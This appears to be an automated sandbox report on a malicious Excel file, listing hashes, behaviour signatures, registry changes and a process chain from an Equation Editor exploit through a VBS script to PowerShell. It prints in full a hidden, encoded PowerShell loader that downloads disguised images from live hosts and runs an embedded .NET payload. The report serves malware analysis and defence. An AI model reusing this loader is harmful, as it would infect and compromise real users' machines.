d6da2ea432daf7091e21de315fcbe8bb4264a7b46b7e832f4193569363251efe

Analysis

max time kernel
29s
max time network
33s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
15/03/2024, 02:47

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Report Analysis Logs

General

Target

c2d92f57c551932f68c704db32918b01eedef76decd521782ddbcc1aa6087588.xls
Size

47KB
MD5

36cb1d700227ba18a13425d53c4f448f
SHA1

9a1c421150c716aa9eb24944c53b42f3d04faace
SHA256

c2d92f57c551932f68c704db32918b01eedef76decd521782ddbcc1aa6087588
SHA512

67cb00dad7876d5b1de7b5f58803632b46e800d525f348d83f93edf17d0399223a909103437284fc2318a4cfee52c9d5bd5b897b99385059d7f0d08a2c67f2dc
SSDEEP

768:1XyBP0Vluaxk9OQUbcyA710rcMF8BM2rc4ozFBLImJB96:1X68XusoOQ4cy/cY8BMvHLrB9

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
13	1912	EQNEDT32.EXE
16	1636	powershell.exe
18	1636	powershell.exe
20	1636	powershell.exe

Abuses OpenXML format to download file from external location

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
1912	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2032	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1824	powershell.exe
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2032	EXCEL.EXE
2032	EXCEL.EXE
2032	EXCEL.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1912 wrote to memory of 924	1912	EQNEDT32.EXE	31
PID 1912 wrote to memory of 924	1912	EQNEDT32.EXE	31
PID 1912 wrote to memory of 924	1912	EQNEDT32.EXE	31
PID 1912 wrote to memory of 924	1912	EQNEDT32.EXE	31
PID 924 wrote to memory of 1824	924	WScript.exe	32
PID 924 wrote to memory of 1824	924	WScript.exe	32
PID 924 wrote to memory of 1824	924	WScript.exe	32
PID 924 wrote to memory of 1824	924	WScript.exe	32
PID 2900 wrote to memory of 1668	2900	WINWORD.EXE	34
PID 2900 wrote to memory of 1668	2900	WINWORD.EXE	34
PID 2900 wrote to memory of 1668	2900	WINWORD.EXE	34
PID 2900 wrote to memory of 1668	2900	WINWORD.EXE	34
PID 1824 wrote to memory of 1636	1824	powershell.exe	36
PID 1824 wrote to memory of 1636	1824	powershell.exe	36
PID 1824 wrote to memory of 1636	1824	powershell.exe	36
PID 1824 wrote to memory of 1636	1824	powershell.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\c2d92f57c551932f68c704db32918b01eedef76decd521782ddbcc1aa6087588.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2032

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1668

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\greatdaytokiislover.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$leitariga = 'ZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBrAHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAZABvAHcAbgBsAG8AYQBkAGUAZABEAGEAdABhACAAPQAgAEAAKAApADsAIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAIAA9ACAAJABsAGkAbgBrAHMAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAAJABsAGkAbgBrAHMALgBMAGUAbgBnAHQAaAA7ACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBrACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAJABkAG8AdwBuAGwAbwBhAGQAZQBkAEQAYQB0AGEAIAArAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAHIAZQB0AHUAcgBuACAAJABkAG8AdwBuAGwAbwBhAGQAZQBkAEQAYQB0AGEAIAB9ADsAIAAkAGwAaQBuAGsAcwAgAD0AIABAACgAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA3ADUAMwAvADcAMQAzAC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUALgBqAHAAZwA/ADEANwAwADkAOQAwADgAMwAxADYAJwAsACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA3ADUAMwAvADcAMQA0AC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUALgBqAHAAZwA/ADEANwAwADkAOQAwADgAMwA1ADAAJwApADsAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBrAHMAIAAkAGwAaQBuAGsAcwA7ACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAgACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAKQAgAHsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAIAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBQAFIATwBKAEUAVABPAEEAVQBUAE8ATQBBAEMAQQBPAC4AVgBCAC4ASABvAG0AZQAnACkAOwAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AUwBTAEkASwAvAHIAbABrAC8AcABwAG0AYQB4AC8ANwAwADEALgAzADQAMgAuADUAOAAxAC4ANwA0ADEALwAvADoAcAB0AHQAaAAnACAALAAgACcAMQAnACAALAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAJwAgACwAIAAnAEsASQBTAFMAJwAsACcAUgBlAGcAQQBzAG0AJwAsACcAJwApACkAfQAgAH0A';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $leitariga));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/753/713/original/new_image.jpg?1709908316', 'https://uploaddeimagens.com.br/images/004/753/714/original/new_image.jpg?1709908350'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.SSIK/rlk/ppmax/701.342.581.741//:ptth' , '1' , 'C:\ProgramData\' , 'KISS','RegAsm',''))} }"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
